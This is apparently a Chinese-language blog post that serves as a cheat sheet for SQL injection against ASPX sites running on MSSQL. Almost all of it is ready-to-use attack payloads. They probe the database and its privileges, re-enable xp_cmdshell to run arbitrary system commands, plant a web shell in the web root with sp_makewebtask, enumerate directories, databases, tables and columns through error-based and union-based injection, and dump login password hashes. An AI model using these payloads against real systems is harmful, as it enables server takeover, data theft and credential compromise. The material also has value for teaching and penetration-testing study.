ASPX+MSSQL注入

MSSQL三个关键系统表:

1.master.dbo.sysdatabases系统表:该表位于master数据库中

关键字段:name:库的名字  dbid:库的id(dbid从1到5是系统库)
2.sysobjects系统表:该表位于每个数据库中
关键字段:name:对象名称 id:对象id  uid:所有者对象用户id   status:对象状态 xtype:对象类型
xtype="U" //用户表,xtype="X" //扩展存储过程,xtype="S" //系统表
3.syscolumns系统表:该表位于每个数据库中
关键字段:name:字段名称  id:表id号 colid:字段id号

MSSQL注入点的基本检查:

1.注入点类型的判断:and exists (select * from sysobjects)

2.注入点权限的判断:

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员

and 1=(select is_srvrolemember('db_owner'))//判断是否是库权限

and 1=(select is_srvrolemember('public'))//判断是否为public权限

3.返回信息的判断:

and @@version>0 //数据库信息

;declare @d int //判断支持多行语句查询

and (select count(1) from [sysobjects])>=0 //是否支持子查询

and user>0 //获取当前数据库用户名

and 1=convert(int,db_name())或and 1=(select db_name()) //  当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

利用MSSQL扩展存储注入攻击:

1.检测扩展存储:(扩展存储过程,其实就是一个windows系统dll文件,安装某种规则实现了某些函数功能)

查询xp_cmdshell扩展存储:and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')   //查看xp_cmdshell是否开启

查询xp_regread扩展存储:and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')   //查看xp_regread是否开启

2.重启扩展存储:(mssql2005及以上版本默认是没有启动xp_cmdshell的,需要重新启动)

exec sp_configure 'show advanced option',1;

exec sp_configure reconfigure;

exec sp_configure 'xp_cmdshell',1;

exec sp_configure reconfigure;

或者在SQL操作命令中输入:exec sp_configure show advanced option,1;reconfigure;exec sp_configure xp_cmdshell,1;reconfigure;

3.恢复扩展存储:

删除xp_cmdshell:;exec master..sp_dropextendedproc 'xp_cmdshell'

创建xp_cmdshell: ;exec master..sp_addextendedproc xp_cmdshell,'xplog70.dll'

4.sa权限下扩展存储攻击方法:

xp_cmdshell扩展执行任意命令:

;exec master..xp_cmdshell 'dir c:\'   //执行任意命令

xp_regwrite操作注册表与开启沙盒模式:

利用sp_makewebtash写入一句话木马:

;exec sp_makewebtask 'c:\inetpub\wwwroot\cimer.asp' ;select '木马文件'--

5.db_owner权限下扩展存储攻击方法:

判断数据库用户权限:and 1=(select is_member('db_owner'));--

搜索web目录:

创建一个表:;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--

利用xp_dirtree扩展查询:;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

查询表中的内容:and(select dir from temp where id=1)>0

MSSQL注入猜解数据库技术:

1.having与group by查询表名与字段名:

group by 字段名 having 1=1--

2.order by报错法查询注入技术:

查询当前数据库:and db_name()=0--

查询所有数据库名:and db_name(n)>0--

3.查询爆库的另一种方法:

查询所有数据库名:and 1=(select name from master.dbo.sysdatabases where dbid=1)--  //字段dbid代表库的id

查询当前数据库的所有表:and (select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)=0

查询字段名:and (select col_name(object_id('表名’),n))=0

查询字段值:and (select top 1 字段名 from 表名)>0 and(select top 1 字段名 from 表名 where 字段名<>字段值1)>0  //操作符<>等于!=

4.union select查询注入技术:

匹配列数:and 1=2 union all select null,null,null from 表名

匹配数据类型:and 1=2 union all select 'a',null,null from 表名

查询所有数据库名:(select name from master.dbo.sysdatabases where dbid=1)

查询数据库所有表:(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)  //字段xtype代表对象类型

查询字段名:(select col_name(object_id('表名'),n))

查询字段值:(select top 1 字段名 from 表名)   (select top 1 字段名 from 表名 where 字段名<>字段值1)

窃取哈希口令:

SQL Server 2000中,哈希口令存储在master.sysxlogins表中

注入:select name,password from master.dbo.sysxlogins

SQL Server 2005哈希口令:一个4字节的常量,一个8字节的salt和一个40字节的大小写混合

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值